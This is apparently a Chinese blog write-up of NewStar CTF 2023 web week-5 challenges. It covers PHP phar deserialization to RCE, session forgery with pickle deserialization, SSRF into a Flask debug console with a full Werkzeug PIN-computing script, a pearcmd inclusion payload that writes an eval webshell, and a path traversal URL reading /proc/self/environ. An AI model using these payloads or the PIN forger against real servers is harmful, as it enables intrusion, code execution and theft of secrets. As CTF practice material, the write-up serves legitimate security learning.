NewStar2023 web-week5-wp

NewStar结语

前面几周还挺简单,第四周后面就是让我学到很多新东西了。感觉知识面又拓宽了,而且这边学的知识结果让我把隔壁的CTF题目打出来几道....

闲话少叙,加油大黑阔!!!!

 

绷不住了,这周化身提权哥和伪造小子......

Unserialize Again

打开看到pair的介绍,后面知道就是一起用的意思。

进去发现传文件按钮是假的,直接查看源码,发现饼干提示,直接看cookie,发现pairing.php,访问进去得到源码,这里贴上源码+我的分析:

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){    //必须绕过__wakeup(),不然这个程序直接die了
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);//出口,eating是RCE位置,可以写个反弹shell之类的,直接赋值God=true就卡进去了
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){ //必须get传pear和apple的参数
    // $Eden=new story();
    $pear=$_GET['pear']; //这里写文件名字,直接传new_exp.phar   //pear=new_exp.phar
    $Adam=$_GET['apple'];  //我传的apple参数赋值给adam了     //apple=phar://new_exp.phar
    $file=file_get_contents('php://input'); //这里我直接post传的参数就赋给file了,建议写(反弹shell)创个phar,这里就需要反序列化从上面的反序列化开爆,并且需要改签名,然后把phar文件的内容传进去。
    //phar文件怎么来?用上面的反序列化构造拉到出口,然后写签名改签名最后得到new_exp.phar
    file_put_contents($pear,urldecode($file)); //这里是把我传的参urldecode了然后给写进pear文件里,pear文件的名字我可以赋值,经过本地测试,直接写入网站目录了,所以直接phar触发执行没有问题
    file_exists($Adam);//此处可以触发phar反序列化,所以adam也就是我传的apple参必然是phar://new_exp.phar
}
else{
    echo '多吃雪梨';
} //多吃雪梨

直接开造exp:

得到exp.phar:

然后改一下内部数字绕过__wakeup(),可以010editor,也可以直接replace正则匹配,得到new_exp.phar,下面是一个错误版本的东西,那个时候我只用了god和eating两个属性:

然后python传参(因为要读十六进制文件,脚本里面笔误了....所以用urllib.parse更好,而且post传参没有参数名我传不上......):

走到这里思路是没问题的,本来想反弹shell,但是弹失败了....我用官方的cat /f*直接RCE也读不了,为什么....

后来发现官方wp好像前面算法那里错了。

如果不用sha1,应该用sha256:

然后还是一样,先修改数字绕过__wakeup(),然后python直接传,反弹shell成功:

补充:后来看了别人的wp发现还有个非预期解,直接传参/var/www/html/a.php写🐎进去就直接读目录了,这里我也去根目录看了看环境是有bash的,所以bash命令反弹shell是能成功的。

 

Final

本来是个网上随便搜得到的RCE漏洞,但是无回显。

猜想有过滤函数,首先用phpinfo看了看,发现system被ban了:

但是可以换exec。

所以我直接挂马了,前提是知道网页目录是var/www/public,(也可以反弹shell),连蚁剑上终端,发现内部还需要SUID提权。

/var/www/public的网站地址可以在phpinfo里看到。

一条龙:

直接find提权:(我也不知道为啥find不出东西,但可以直接用stdout.....)

 

Ye's Pickle

又成为了session伪造小子,唉。

而且一眼pickle反序列化,隔壁0xgame才做过一道。

进网页一看就是session,但是网页上和html源码上的好像不一样?

也罢,反正打开base64解码都能看到个role:guest的东西,显然这里需要改成admin了。

本以为还是爆破密钥的做法,但是查看源码,发现这个secret_key使用长字符串随机生成的,基本爆不出来。

这条路走不通,怎么办?

各种渠道去搜CVE,有一个jwt的CVE:CVE-2022-39227

恰好有个类题:

祥云杯2022复现_ezjava_Yan9.的博客-CSDN博客

观察源码:

思路很显然了,就是先用改了admin的payload先打 / 传token,然后系统就会帮我们自己梭出来admin信息的新cookie,再去pickle路由get传参pickle,并且传的东西是pickle.dumps()的码或者手搓的机器码拿去pickle反序列化,并且base64加密。

直接看官方的一条龙:

然后换cookie,下面是admin检测,说明伪造成功了:

构造操作码:

pickle下直接反弹shell就行了。但是我这里死活弹不出来,一直报错,我也不知道为什么,手搓操作码也没用到pickle.dumps(),所以应该不是windows和linux的反序列化区别造成的....

这里直接看看其他师傅弹出来的吧:

[NewStarCTF 2023] web题解-CSDN博客

pppython?

SSRF打路由,然后算PIN,这里还需要手搓cookie。

SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) - Saint_Michael - 博客园 (cnblogs.com)

唉,又是伪造小子,隔壁才做过一个算PIN的,又来?

首先就是很经典的SSRF。我们先用第一个判断条件试试:

又要提权?

但是与此同时,我们发现了app.py的存在。

apache服务器,后台文件里右app.py?看来还藏了个python的flask框架。

那么思路就有了,利用这个url进行SSRF到flask的位置,然后在/console里RCE,前提也需要算PIN能进去。

注意lolita传的是HTTPHEADER,所以这里应该传的是数组,也就是lolita[]。

ssrf用file://读app.py(lolita[]传空参):

可以看到是一个开了debug的flask监听在1314端口,那么flask内网地址就有了,127.0.0.1:1314。

而file://伪协议能实现任意文件读取,估计全能读了,然后就是经典算PIN的参数:

username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id

首先用户名是root,刚刚ls -la就看到了。

读MAC地址:

转一下:

 

读机器id:

 

进debug读app.py路径:

整合一下,用脚本开算:

import hashlib
from itertools import chain
import time
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '209308333341629',  
    '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

 

(这里是sha1加密,隔壁0xgame是md5加密....)

下面借用这个师傅的思路:[NewStarCTF 2023] web题解-CSDN博客

然后就是传参问题:

GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37

这里我们要去获取frm和s的值

frm如果没有报错信息的话值为0
s的值可以直接访问./console,然后查看源码的SECRET值
由于这里试了半天没有报错信息,那么frm=0

访问一下console,获取s值:

payload:

http://1b19cac6-0d4c-425b-ad97-e18e8c7f02ae.node4.buuoj.cn:81/?url=http://127.0.0.1:1314/console?&__debugger__=yes&pin=596-920-621&cmd=__import__("os").popen("ls").read()&frm=0&s=G9cNh2D9VVzN9vSTLRSd&lolita[]=Cookie: __wzd6464f1137a9cacb6df97=1699783316|dbcc4ebe4ee4

也许是因为某些原因最后没出来,但是大概思路就是这样。各位佬觉得写的不好的轻喷,其他师傅写的也很不错

(😭😭😭😭😭呜呜呜呜呜呜呜~~~~)

 

4-复盘

本来看了介绍以为还有MISC的内存取证之类的东西,结果看源码里面找到了一个显然可以路径穿越的漏洞,直接挂马然后SUID提权就行了:

payload:

/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/shell.php

直接bp里做,记得不要url编码,而是直接传:

连蚁剑直接gzip提权:

NextDrive

题目介绍:

环境变量好说,一般就是/proc/self/environ

然后搜一下啥是秒传:

大致意思就是MD5值校验因为一样所以秒传,要想不秒传就需要修改使得MD5改变。

其他显然没啥东西,下载这个test.res.http查看:

尤其注意到一个地方:

这里的文件名是test.req.http而不是本身的test.res.http;

联想一下就知道,我们应该想办法用秒传原理链接到test.res.http文件,然后利用秒传的逻辑漏洞,上传一个任意文件改掉hash值和test.res.http相同即可。

而且我们发现里面有token和uid进行身份伪造。

右上角先注册个号,随便传个文件,有个check操作,删除有个remove,这里重点关注check:

只需要给文件名和hash值就可以:

autoup 选项表示检测过服务器存在相同文件后直接 upload。

而前面我们下载下来的test.req.http文件里写了哈希值为 6db480d2bce8a327a80b6272e892ba78b121dc6203ab191449137138d7bbb883

直接伪造:

放包,然后我们就可以在网盘下载,实际上下载的就是test.req.http:

再使用它的uid和token,刷新修改,我们就直接伪造成admin了:

(这里我是f12里面cookie存储里改的uid和cookie,bp和hackbar不知道为什么我这边出不来文件)

 

进去发现很多东西,做题有用的就是这个share.js:

const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
 * @deprecated
 * ! FIXME: 发现漏洞,请进行修改
 */
router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

    // 参数校验
    if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
        // invalid params or query
        ctx.set("X-Error-Reason", "Invalid Params");
        ctx.status = 400; // Bad Request
        return ctx.res.end();
    }

    // 是否为共享的文件
    let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
    if (!IS_FILE_EXIST) {
        ctx.set("X-Error-Reason", "File Not Found");
        ctx.status = 404; // Not Found
        return ctx.res.end();
    }

    // 系统中是否存储有该文件
    let IS_FILE_EXIST_IN_STORAGE
    try {
        IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
    } catch (e) {
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }
    if (!IS_FILE_EXIST_IN_STORAGE) {
        logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }

    // 文件名处理
    let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
    filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

    // 发送
    ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
    // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
    await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
        logger.error(`Error while sending file ${hash_fn.yellow}`)
        logger.error(e)
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    })
})

module.exports = router;

这里找到路径穿越漏洞点,直接上官方解释:

直接上payload:

(在网上下载)

http://node4.buuoj.cn:28805/s/5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron?from_uid=100000

因为我用的是音乐flac文件的hash,所以需要到010Editor里面十六进制转字符串查看:

curl的方式没复现出来,贴一个官方的吧:

 

最后是这个网盘里最让我感动的信:(QAQ)

😭😭😭😭😭

posted @ 2023-11-06 21:21  Eddie_Murphy  阅读(651)  评论(0编辑  收藏  举报